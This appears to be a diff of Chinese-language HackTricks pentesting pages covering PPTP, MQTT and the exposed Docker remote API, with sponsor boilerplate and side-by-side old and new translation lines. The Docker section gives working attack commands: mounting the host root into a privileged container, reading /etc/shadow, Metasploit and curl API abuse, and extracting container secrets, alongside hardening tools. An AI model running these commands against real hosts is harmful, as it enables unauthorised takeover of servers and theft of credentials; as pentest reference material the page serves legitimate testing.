一些日志省略添加**`<private>`**的信息。要显示所有信息,您需要从[https://developer.apple.com/bug-reporting/profiles-and-logs/](https://developer.apple.com/bug-reporting/profiles-and-logs/)安装一些配置文件以启用私人信息。
一些日志省略添加**`<private>`**的信息。要显示所有信息,您需要从[https://developer.apple.com/bug-reporting/profiles-and-logs/](https://developer.apple.com/bug-reporting/profiles-and-logs/)安装一些配置文件以启用私人信息。
如果您不知道该怎么办:
```sh
@ -336,24 +350,53 @@ vim /Library/Preferences/Logging/com.apple.system.logging.plist
killall -9 logd
```
您可以在以下位置检查崩溃情况:
You can check the crashes in:
- **iOS**
- 设置 → 隐私 → 分析与改进 → 分析数据
- `/private/var/mobile/Library/Logs/CrashReporter/`
- **macOS**:
- `/Library/Logs/DiagnosticReports/`
- `~/Library/Logs/DiagnosticReports`
* **iOS**
* Settings → Privacy → Analytics & Improvements → Analytics Data
* `/private/var/mobile/Library/Logs/CrashReporter/`
* **macOS**:
* `/Library/Logs/DiagnosticReports/`
* `~/Library/Logs/DiagnosticReports`
{% hint style="warning" %}
iOS仅存储同一应用的25个崩溃情况因此您需要清理否则iOS将停止创建崩溃报告。
iOS only stores 25 crashes of the same app, so you need to clean that or iOS will stop creating crashes.
{% endhint %}
## Frida Android 教程
## Frida Android Tutorials
{% content-ref url="../android-app-pentesting/frida-tutorial/" %}
[frida-tutorial](../android-app-pentesting/frida-tutorial/)
{% endcontent-ref %}
## 参考资料
- [https://www.briskinfosec.com/blogs/blogsdetail/Getting-Started-with-Frida](https://www.briskinfosec.com/blogs/blogsdetail/Getting-Started-with-Frida)
## References
* [https://www.briskinfosec.com/blogs/blogsdetail/Getting-Started-with-Frida](https://www.briskinfosec.com/blogs/blogsdetail/Getting-Started-with-Frida)
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is a **dark-web** fueled search engine that offers **free** functionalities to check if a company or its customers have been **compromised** by **stealer malwares**.
Their primary goal of WhiteIntel is to combat account takeovers and ransomware attacks resulting from information-stealing malware.
You can check their website and try their engine for **free** at:
{% embed url="https://whiteintel.io" %}
<details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -2,11 +2,11 @@
<details>
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS 红队专家)</strong></a><strong></strong></summary>
<summary><strong>从零开始学习 AWS 黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS 红队专家)</strong></a><strong></strong></summary>
支持 HackTricks 的其他方式:
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** 上关注**我们。
@ -14,9 +14,23 @@
</details>
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**支持的搜索引擎,提供**免费**功能,用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。
WhiteIntel 的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。
您可以访问他们的网站并免费尝试他们的引擎:
{% embed url="https://whiteintel.io" %}
---
## 基本信息
**点对点隧道协议PPTP** 是一种广泛用于**远程访问移动设备**的方法。它利用 **TCP 端口 1723** 交换密钥,而 **IP 协议 47**(通用路由封装,或 **GRE**)用于加密对等方之间传输的数据。这种设置对于在互联网上建立安全通信通道至关重要,确保交换的数据保持机密,并免受未经授权的访问。
**点对点隧道协议PPTP** 是一种广泛用于**远程访问**移动设备的方法。它利用**TCP 端口 1723**来交换密钥,而**IP 协议 47**(通用路由封装,或**GRE**)用于加密对等方之间传输的数据。这种设置对于在互联网上建立安全通信通道至关重要,确保交换的数据保持机密,并受未经授权的访问保护
**默认端口**1723
@ -36,9 +50,9 @@ nmap Pn -sSV -p1723 <IP>
支持HackTricks的其他方式
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF版本的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

View file

@ -2,21 +2,35 @@
<details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
支持HackTricks的其他方式
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFT收藏品](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
- 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
- **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**支持的搜索引擎,提供**免费**功能,用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。
WhiteIntel的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。
您可以访问他们的网站并免费尝试他们的引擎:
{% embed url="https://whiteintel.io" %}
---
## 基本信息
**MQ Telemetry Transport (MQTT)** 被称为一种**发布/订阅消息传输协议**以其极端简单和轻量著称。该协议专门为设备能力有限、运行在低带宽、高延迟或不稳定连接特征的网络环境而设计。MQTT的核心目标包括减少网络带宽的使用和降低对设备资源的需求。此外它旨在保持可靠的通信并提供一定程度的传递保证。这些目标使MQTT非常适用于蓬勃发展的**机器对机器M2M通信**和**物联网IoT**领域在这些领域中高效连接大量设备至关重要。此外MQTT对于移动应用程序也非常有益其中节省带宽和电池寿命至关重要。
**MQ Telemetry Transport (MQTT)** 被称为一种**发布/订阅消息传递协议**以其极端简单和轻量著称。该协议专门为设备能力有限、在低带宽、高延迟或不稳定连接的网络上运行的环境而设计。MQTT的核心目标包括最小化网络带宽的使用和减少对设备资源的需求。此外它旨在保持可靠的通信并提供一定程度的传递保证。这些目标使MQTT非常适用于蓬勃发展的**机器对机器M2M通信**和**物联网IoT**领域在这些领域中高效连接大量设备至关重要。此外MQTT对于移动应用程序非常有益其中节省带宽和电池寿命至关重要。
**默认端口:** 1883
```
@ -25,9 +39,9 @@ PORT STATE SERVICE REASON
```
## 检查流量
当 MQTT 代理接收到 **CONNECT** 数据包时,会发送回一个 **CONNACK** 数据包。数据包包含一个返回码,对于理解连接状态至关重要。返回码 **0x00** 表示凭据已被接受,表连接成功。另一方面,返回码 **0x05** 表示凭据无效,从而阻止连接。
当 MQTT 代理接收到 **CONNECT** 数据包时,会发送回一个 **CONNACK** 数据包。这个数据包包含一个返回码,对于理解连接状态至关重要。返回码 **0x00** 表示凭据已被接受,表连接成功。另一方面,返回码 **0x05** 表示凭据无效,从而阻止连接。
例如,如果代理因凭据无效而拒绝连接,则场景会如下所示:
例如,如果代理因为凭据无效而拒绝连接,情景会如下所示:
```
{
"returnCode": "0x05",
@ -85,14 +99,14 @@ main()
```
## 更多信息
来自这里[https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b](https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b)
从这里获取[https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b](https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b)
### 发布/订阅模式 <a href="#b667" id="b667"></a>
发布/订阅模型由以下组成:
- **发布者**:向代理发布消息到一个(或多个)主题。
- **订阅者**:订阅一个(或多个)主题在代理中,并接收所有从发布者发送的消息。
- **订阅者**:订阅一个(或多个)主题在代理中,并接收来自发布者发送的所有消息。
- **代理**:将所有来自发布者的消息路由到订阅者。
- **主题**:由一个或多个级别组成,级别之间用斜杠分隔(例如,/smartshouse/livingroom/temperature
@ -111,7 +125,7 @@ main()
- PUBREC5消息传递协议的一部分确保消息已接收。
- PUBREL6进一步确保消息传递指示消息释放。
- PUBCOMP7消息传递协议的最后部分指示完成。
- SUBSCRIBE8客户端请求从主题监听消息。
- SUBSCRIBE8客户端请求从主题接收消息。
- SUBACK9服务器对 SUBSCRIBE 请求的确认。
- UNSUBSCRIBE10客户端请求停止从主题接收消息。
- UNSUBACK11服务器对 UNSUBSCRIBE 请求的响应。
@ -124,15 +138,27 @@ main()
- `port:1883 MQTT`
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**支持的搜索引擎,提供**免费**功能,用于检查公司或其客户是否已受到**窃取恶意软件**的侵害。
WhiteIntel 的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。
您可以访问他们的网站并免费尝试他们的引擎:
{% embed url="https://whiteintel.io" %}
<details>
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS 红队专家)</strong></a><strong></strong></summary>
支持 HackTricks 的其他方式:
- 如果您想在 HackTricks 中看到您的 **公司广告****下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
- 如果您想在 HackTricks 中看到您的**公司广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
- 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
- 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs**](https://opensea.io/collection/the-peass-family) 收藏品
- 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家 [**NFTs**](https://opensea.io/collection/the-peass-family)
- **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** 上关注我们。**
- 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。

View file

@ -1,32 +1,48 @@
# 2375, 2376 Pentesting Docker
<details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
支持HackTricks的其他方式
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFT收藏品](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
## Docker基础知识
## WhiteIntel
### 什么是
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**支持的搜索引擎,提供**免费**功能,用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。
WhiteIntel的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。
您可以访问他们的网站并免费尝试他们的引擎:
{% embed url="https://whiteintel.io" %}
---
### Docker基础知识
#### 什么是Docker
Docker是**容器化行业**中的**前沿平台**,引领**持续创新**。它便于轻松创建和分发应用程序,涵盖**传统到未来**的范围,并确保它们在不同环境中的**安全部署**。
### 基本Docker架构
#### 基本Docker架构
- **[containerd](http://containerd.io)**: 这是容器的**核心运行时**,负责全面**管理容器的生命周期**。这包括处理**镜像传输和存储**,以及监视和网络化容器的**执行**。对containerd的**更详细见解**将进一步探讨。
- **容器shim**在处理**无头容器**时发挥关键作用,它在容器初始化后无缝接管**runc**的任务。
- **[runc](http://runc.io)**: 以其**轻量级和通用容器运行时**功能而闻名runc符合**OCI标准**。它由containerd用于根据**OCI指南**启动和管理容器,从最初的**libcontainer**发展而来。
- **[grpc](http://www.grpc.io)**对于在containerd和**docker-engine**之间**促进通信**至关重要,确保**高效互动**。
- **[OCI](https://www.opencontainers.org)**对于维护运行时和镜像的**OCI规范**至关重要最新的Docker版本符合**OCI镜像和运行时**标准。
* [**containerd**](http://containerd.io)这是容器的**核心运行时**,负责全面**管理容器的生命周期**。这包括处理**镜像传输和存储**,以及监视和网络化容器的**执行**。对containerd的**更详细见解**将进一步探讨。
* **容器shim**在处理**无头容器**时发挥关键作用,它在容器初始化后无缝接管**runc**的工作
* [**runc**](http://runc.io)以其**轻量级和通用容器运行时**功能而闻名runc符合**OCI标准**。它由containerd用于根据**OCI指南**启动和管理容器,从最初的**libcontainer**发展而来。
* [**grpc**](http://www.grpc.io)对于在containerd和**docker引擎**之间**促进通信**至关重要,确保**高效互动**。
* [**OCI**](https://www.opencontainers.org)在维护运行时和镜像的**OCI规范**方面至关重要最新的Docker版本符合**OCI镜像和运行时**标准。
### 基本命令
#### 基本命令
```bash
docker version #Get version of docker client, API, engine, containerd, runc, docker-init
docker info #Get more infomarion about docker settings
@ -49,13 +65,13 @@ docker system prune -a
# - all images without at least one container associated to them
# - all build cache
```
### Containerd
#### Containerd
**Containerd**是专门为像**Docker和Kubernetes**等容器平台的需求而开发的。它旨在通过抽象操作系统特定功能和系统调用简化在各种操作系统包括Linux、Windows、Solaris等上执行容器的过程。Containerd的目标是仅包含其用户所需的基本功能努力省略不必要的组件。然而完全实现这一目标被认为是具有挑战性的。
一个关键的设计决定是**Containerd不处理网络**。网络被认为是分布式系统中的一个关键元素具有诸如软件定义网络SDN和服务发现等复杂性这些复杂性在不同平台之间差异很大。因此Containerd将网络方面的处理留给了它支持的平台来管理。
虽然**Docker利用Containerd**来运行容器但重要的是要注意Containerd仅支持Docker功能的子集。具体来说Containerd缺乏Docker中存在的网络管理功能并且不直接支持创建Docker swarms。这种区别突显了Containerd作为容器运行时环境的专注角色将更专业的功能委托给其集成的平台。
虽然**Docker利用Containerd**来运行容器但重要的是要注意Containerd仅支持Docker功能的子集。具体来说Containerd缺乏Docker中存在的网络管理功能并且不直接支持创建Docker swarms。这种区别突显了Containerd作为容器运行时环境的专注角色将更专业的功能委托给其集成的平台。
```bash
#Containerd CLI
ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image
@ -71,33 +87,29 @@ ctr tasks resume <containerName> #Resume cotainer
ctr task kill -s SIGKILL <containerName> #Stop running container
ctr container delete <containerName>
```
### Podman
#### Podman
**Podman** 是一个遵循[Open Container Initiative (OCI) 标准](https://github.com/opencontainers)的开源容器引擎,由 Red Hat 开发和维护。它与 Docker 有几个明显的特点,尤其是其**无守护程序架构**和对**无根容器**的支持,使用户能够在无需 root 权限的情况下运行容器。
**Podman** 是一个遵循[开放容器倡议OCI标准](https://github.com/opencontainers)的开源容器引擎,由 Red Hat 开发和维护。它与 Docker 有几个明显的特点不同,尤其是其**无守护程序架构**和对**无根容器**的支持,使用户能够在无需 root 权限的情况下运行容器。
Podman 的设计旨在与 Docker 的 API 兼容,允许使用 Docker CLI 命令。这种兼容性延伸到其生态系统,其中包括诸如**Buildah**用于构建容器镜像和**Skopeo**用于推送、拉取和检查镜像等操作的工具。有关这些工具的更多详细信息,请参阅它们的[GitHub 页面](https://github.com/containers/buildah/tree/master/docs/containertools)。
Podman 的设计旨在与 Docker 的 API 兼容,允许使用 Docker CLI 命令。这种兼容性延伸到其生态系统,其中包括诸如**Buildah**(用于构建容器镜像)和**Skopeo**(用于推送、拉取和检查镜像等操作)等工具。有关这些工具的更多详细信息,请参阅它们的[GitHub 页面](https://github.com/containers/buildah/tree/master/docs/containertools)。
**主要区别**
- **架构**:与 Docker 的客户端-服务器模型及后台守护程序不同Podman 在没有守护程序的情况下运行。这种设计意味着容器以启动它们的用户的权限运行,通过消除对 root 访问的需求来增强安全性。
- **架构**:与 Docker 的客户端-服务器模型及后台守护程序不同Podman 无需守护程序运行。这种设计意味着容器以启动它们的用户的权限运行,通过消除对 root 访问的需求来增强安全性。
- **Systemd 集成**Podman 与 **systemd** 集成以管理容器,允许通过 systemd 单元进行容器管理。这与 Docker 主要用于管理 Docker 守护程序进程的 systemd 的用法形成对比。
- **无根容器**Podman 的一个关键特点是其能够在启动用户的权限下运行容器。这种方法通过确保攻击者仅获得受损用户的权限而不是 root 访问权限,最小化了与容器入侵相关的风险。
- **无根容器**Podman 的一个关键特点是能够以启动用户的权限运行容器。这种方法通过确保攻击者仅获得受损用户的权限而非 root 访问,最小化了与容器入侵相关的风险。
Podman 的方法为 Docker 提供了一个安全灵活的替代方案,强调用户权限管理和与现有 Docker 工作流的兼容性。
{% hint style="info" %}
请注意,由于 Podman 旨在支持与 Docker 相同的 API因此您可以像在 Docker 中一样使用 Podman例如
请注意,由于 Podman 旨在支持与 Docker 相同的 API您可以像在 Docker 中一样使用 Podman例如
```bash
podman --version
podman info
pdoman images ls
podman ls
```
{% endhint %}
## 基本信息
### 基本信息
当启用时,远程 API 默认在 2375 端口上运行。默认情况下,该服务不需要身份验证,允许攻击者启动一个特权的 Docker 容器。通过使用远程 API可以将主机/(根目录)附加到容器,并读取/写入主机环境中的文件。
@ -106,11 +118,11 @@ podman ls
PORT STATE SERVICE
2375/tcp open docker
```
## 枚举
### 枚举
### 手动
#### 手动
请注意,为了枚举Docker API您可以使用`docker`命令或`curl`,就像下面的示例中所示:
请注意,要枚举docker API您可以使用`docker`命令或`curl`,就像下示例中所示:
```bash
#Using curl
curl -s http://open.docker.socket:2375/version | jq #Get version
@ -146,19 +158,19 @@ docker-init:
Version: 0.18.0
GitCommit: fec3683
```
如果您可以使用`docker`命令**联系远程docker API**则可以**执行**任何[**先前注释的docker命令**](2375-pentesting-docker.md#basic-commands)来与服务进行交互。
如果您可以使用`docker`命令**联系远程docker API**您可以**执行**任何**之前评论过的docker** [**命令**](2375-pentesting-docker.md#basic-commands) 来与服务进行交互。
{% hint style="info" %}
您可以`export DOCKER_HOST="tcp://localhost:2375"`**避免**在docker命令中使用`-H`参数
{% endhint %}
#### 快速提权
**快速提权**
```bash
docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash
```
#### Curl
**Curl**
有时你会看到 **2376** 端口用于 **TLS** 终端。我无法用 docker 客户端连接到它,但可以使用 curl 连接
有时你会看到 **2376** 开放了 **TLS** 端点。我无法用 docker 客户端连接到它,但可以使用 curl。
```bash
#List containers
curl insecure https://tlsopen.docker.socket:2376/containers/json | jq
@ -190,12 +202,12 @@ curl insecure -vv -X POST -H "Content-Type: application/json" https://tls-ope
```
如果您想获取更多信息,请查看我复制命令的地方:[https://securityboulevard.com/2019/02/abusing-docker-api-socket/](https://securityboulevard.com/2019/02/abusing-docker-api-socket/)
### 自动化
#### 自动化
```bash
msf> use exploit/linux/http/docker_daemon_tcp
nmap -sV --script "docker-*" -p <PORT> <IP>
```
## Compromising
### 入侵
在以下页面,您可以找到**从 Docker 容器中逃脱**的方法:
@ -203,18 +215,18 @@ nmap -sV --script "docker-*" -p <PORT> <IP>
[docker-security](../linux-hardening/privilege-escalation/docker-security/)
{% endcontent-ref %}
滥用这一点,可以从容器中逃脱,您可以在远程机器上运行一个弱容器,从中逃脱,并威胁到机器:
滥用这一点,可以从容器中逃脱,您可以在远程机器上运行一个弱容器,从中逃脱,并威胁到机器:
```bash
docker -H <host>:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
cat /mnt/etc/shadow
```
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits/Docker%20API%20RCE.py](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits/Docker%20API%20RCE.py)
## 提权
### 提权
如果您在使用 Docker 的主机内部,您可以[**阅读此信息尝试提升权限**](../linux-hardening/privilege-escalation/#writable-docker-socket)。
## 在运行的 Docker 容器中发现秘密
### 在运行的 Docker 容器中发现秘密
```bash
docker ps [| grep <kubernetes_service_name>]
docker inspect <docker_id>
@ -225,57 +237,57 @@ docker inspect <docker_id>
- IP地址。
- 端口。
- 路径。
- 其他…
- 其他…。
如果要提取文件:
```bash
docker cp <docket_id>:/etc/<secret_01> <secret_01>
```
## 保护您的Docker
### 保护您的Docker
### 保护Docker安装和使用
#### 保护Docker安装和使用
* 您可以使用工具[https://github.com/docker/docker-bench-security](https://github.com/docker/docker-bench-security)来检查您当前的Docker安装。
* `./docker-bench-security.sh`
* 您可以使用工具[https://github.com/kost/dockscan](https://github.com/kost/dockscan)来检查您当前的Docker安装。
* `dockscan -v unix:///var/run/docker.sock`
* 您可以使用工具[https://github.com/genuinetools/amicontained](https://github.com/genuinetools/amicontained)来查看在不同安全选项下运行容器时容器将具有的权。这对于了解使用某些安全选项运行容器的影响很有用:
* 您可以使用工具[https://github.com/genuinetools/amicontained](https://github.com/genuinetools/amicontained)来查看在不同安全选项下运行时容器将具有的权。这对于了解使用某些安全选项运行容器的影响很有用:
* `docker run --rm -it r.j3ss.co/amicontained`
* `docker run --rm -it --pid host r.j3ss.co/amicontained`
* `docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained`
### 保护Docker镜像
#### 保护Docker镜像
* 您可以使用[https://github.com/quay/clair](https://github.com/quay/clair)的Docker镜像来扫描您的其他Docker镜像并查找漏洞。
* `docker run --rm -v /root/clair_config/:/config -p 6060-6061:6060-6061 -d clair -config="/config/config.yaml"`
* `clair-scanner -c http://172.17.0.3:6060 --ip 172.17.0.1 ubuntu-image`
### 保护Dockerfiles
#### 保护Dockerfiles
* 您可以使用工具[https://github.com/buddy-works/dockerfile-linter](https://github.com/buddy-works/dockerfile-linter)来**检查您的Dockerfile**并找到各种配置错误。每个配置错误都将被赋予一个ID您可以在[https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md](https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md)找到如何修复每个错误。
* `dockerfilelinter -f Dockerfile`
![](<../.gitbook/assets/image (418).png>)
![](<../.gitbook/assets/image (173).png>)
* 您可以使用工具[https://github.com/replicatedhq/dockerfilelint](https://github.com/replicatedhq/dockerfilelint)来**检查您的Dockerfile**并找到各种配置错误。
* `dockerfilelint Dockerfile`
![](<../.gitbook/assets/image (419).png>)
![](<../.gitbook/assets/image (209).png>)
* 您可以使用工具[https://github.com/RedCoolBeans/dockerlint](https://github.com/RedCoolBeans/dockerlint)来**检查您的Dockerfile**并找到各种配置错误。
* `dockerlint Dockerfile`
![](<../.gitbook/assets/image (420).png>)
![](<../.gitbook/assets/image (68).png>)
* 您可以使用工具[https://github.com/hadolint/hadolint](https://github.com/hadolint/hadolint)来**检查您的Dockerfile**并找到各种配置错误。
* `hadolint Dockerfile`
![](<../.gitbook/assets/image (421).png>)
![](<../.gitbook/assets/image (498).png>)
### 记录可疑活动
#### 记录可疑活动
* 您可以使用工具[https://github.com/falcosecurity/falco](https://github.com/falcosecurity/falco)来检测**运行容器中的可疑行为**。
* 请注意下面的代码块中**Falco如何编译内核模块并插入**。之后,它加载规则并**开始记录可疑活动**。在这种情况下它检测到启动了2个特权容器其中一个带有敏感挂载点几秒钟后检测到一个容器内打开了一个shell。
* 请注意下面的代码块中**Falco如何编译内核模块并插入**。之后,它加载规则并**开始记录可疑活动**。在这种情况下它检测到启动了2个特权容器其中一个带有敏感挂载点并在几秒钟后检测到一个容器内打开了一个shell。
```bash
docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco
* Setting up /usr/src links from host
@ -316,10 +328,39 @@ falco-probe found and loaded in dkms
2021-01-04T12:03:24.664354000+0000: Notice Privileged container started (user=root command=container:4443a8daceb8 focused_brahmagupta (id=4443a8daceb8) image=falco:latest)
2021-01-04T12:04:56.270553320+0000: Notice A shell was spawned in a container with an attached terminal (user=root xenodochial_kepler (id=4822e8378c00) shell=bash parent=runc cmdline=bash terminal=34816 container_id=4822e8378c00 image=ubuntu)
```
### 监控 Docker
#### 监控 Docker
您可以使用 auditd 来监控 Docker。
## 参考
### 参考
* [https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html](https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html)
* [https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc](https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc)
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) 是一个由 **暗网** 提供动力的搜索引擎,提供免费功能,用于检查公司或其客户是否已受到 **窃取恶意软件****损害**
WhiteIntel 的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。
您可以访问他们的网站并免费尝试他们的引擎:
{% embed url="https://whiteintel.io" %}
<details>
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
支持 HackTricks 的其他方式:
* 如果您想在 HackTricks 中看到您的 **公司广告****下载 PDF 版本的 HackTricks**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
